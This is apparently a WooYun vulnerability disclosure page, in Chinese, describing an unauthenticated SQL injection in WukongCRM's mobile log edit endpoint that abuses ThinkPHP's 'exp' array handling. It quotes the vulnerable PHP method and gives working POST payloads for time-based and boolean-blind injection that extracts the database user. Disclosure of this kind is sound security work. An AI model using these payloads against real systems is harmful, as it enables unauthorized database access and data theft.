当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0194030

漏洞标题：悟空CRM无需任何权限的SQL注入漏洞2（ThinkPHP特性）

相关厂商：郑州卡卡罗特软件科技有限公司

漏洞作者： phith0n

提交时间：2016-04-08 20:09

修复时间：2016-07-10 15:50

公开时间：2016-07-10 15:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-08： 细节已通知厂商并且等待厂商处理中
2016-04-11： 厂商已经确认，细节仅向厂商公开
2016-04-14： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2016-06-05： 细节向核心白帽子及相关领域专家公开
2016-06-15： 细节向普通白帽子公开
2016-06-25： 细节向实习白帽子公开
2016-07-10： 细节向公众公开

简要描述：

一个没有权限控制的类，正好又有注入~
（给L.N.添堵系列之三）
另外厂商分给高点呗，别这么小气~本来不想挖了的。

详细说明：

/App/Lib/Mobile/LogMobile.class.php
这个类没有权限验证（_initialize方法）哦~
看到edit函数：

//修改沟通日志
public function edit(){
	if($this->isPost()){
		$id = isset($_POST['id']) ? intval($_POST['id']) : 0;
		$params = json_decode($_POST['params'],true);
		if(!is_array($params)){
			$this->ajaxReturn('非法的数据格式!','非法的数据格式!',2);
		}
		if(!$id){
			$this->ajaxReturn('参数错误','参数错误',2);
		}
		$log = M('Log');
		$log -> create($params);
		$log -> update_date = time();
		$result = $log->save();
		if($result){
			$this->ajaxReturn('修改成功','修改成功',1);
		}else{
			$this->ajaxReturn('修改失败，请重试','修改失败，请重试',2);
		}
	}
}


乍一看没啥问题，实际上暗含一个ThinkPHP特性的漏洞，详见我发的 http://**.**.**.**/bugs/wooyun-2010-086737
这里create方法先获取所有$params，并根据POST中传入的主键（log_id）来update数据库。而update的where实际上就是 array('log_id', $params['log_id']);
只要我传入的$params['role_id']的值是数组，并且数组的第一个参数是exp，那么第二个参数就可以直接填SQL注入语句。
直接演示。
**.**.**.**/wukongcrm/mobile.php?m=log&a=edit
POST数据包：id=1&params={"log_id":["exp","=sleep(2)"],"content":"phithon"}
可以sleep两秒：

QQ20160408-0@2x.png


注入log表中有数据的话，可以使用bool盲注。user()的第一个字符大于0，正确，返回真：

QQ20160408-1@2x.png


user()的第一个字符大于200，不正确，返回假：

QQ20160408-2@2x.png


**.**.**.**/wukongcrm/mobile.php?m=log&a=edit
id=1&params={"log_id":["exp","=-1 or ord(substr(user(),1,1))>200"],"content":"phithon"}

漏洞证明：

修复方案：

版权声明：转载请注明来源 phith0n@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-04-11 15:45

厂商回复：

感谢关注

最新状态：

暂无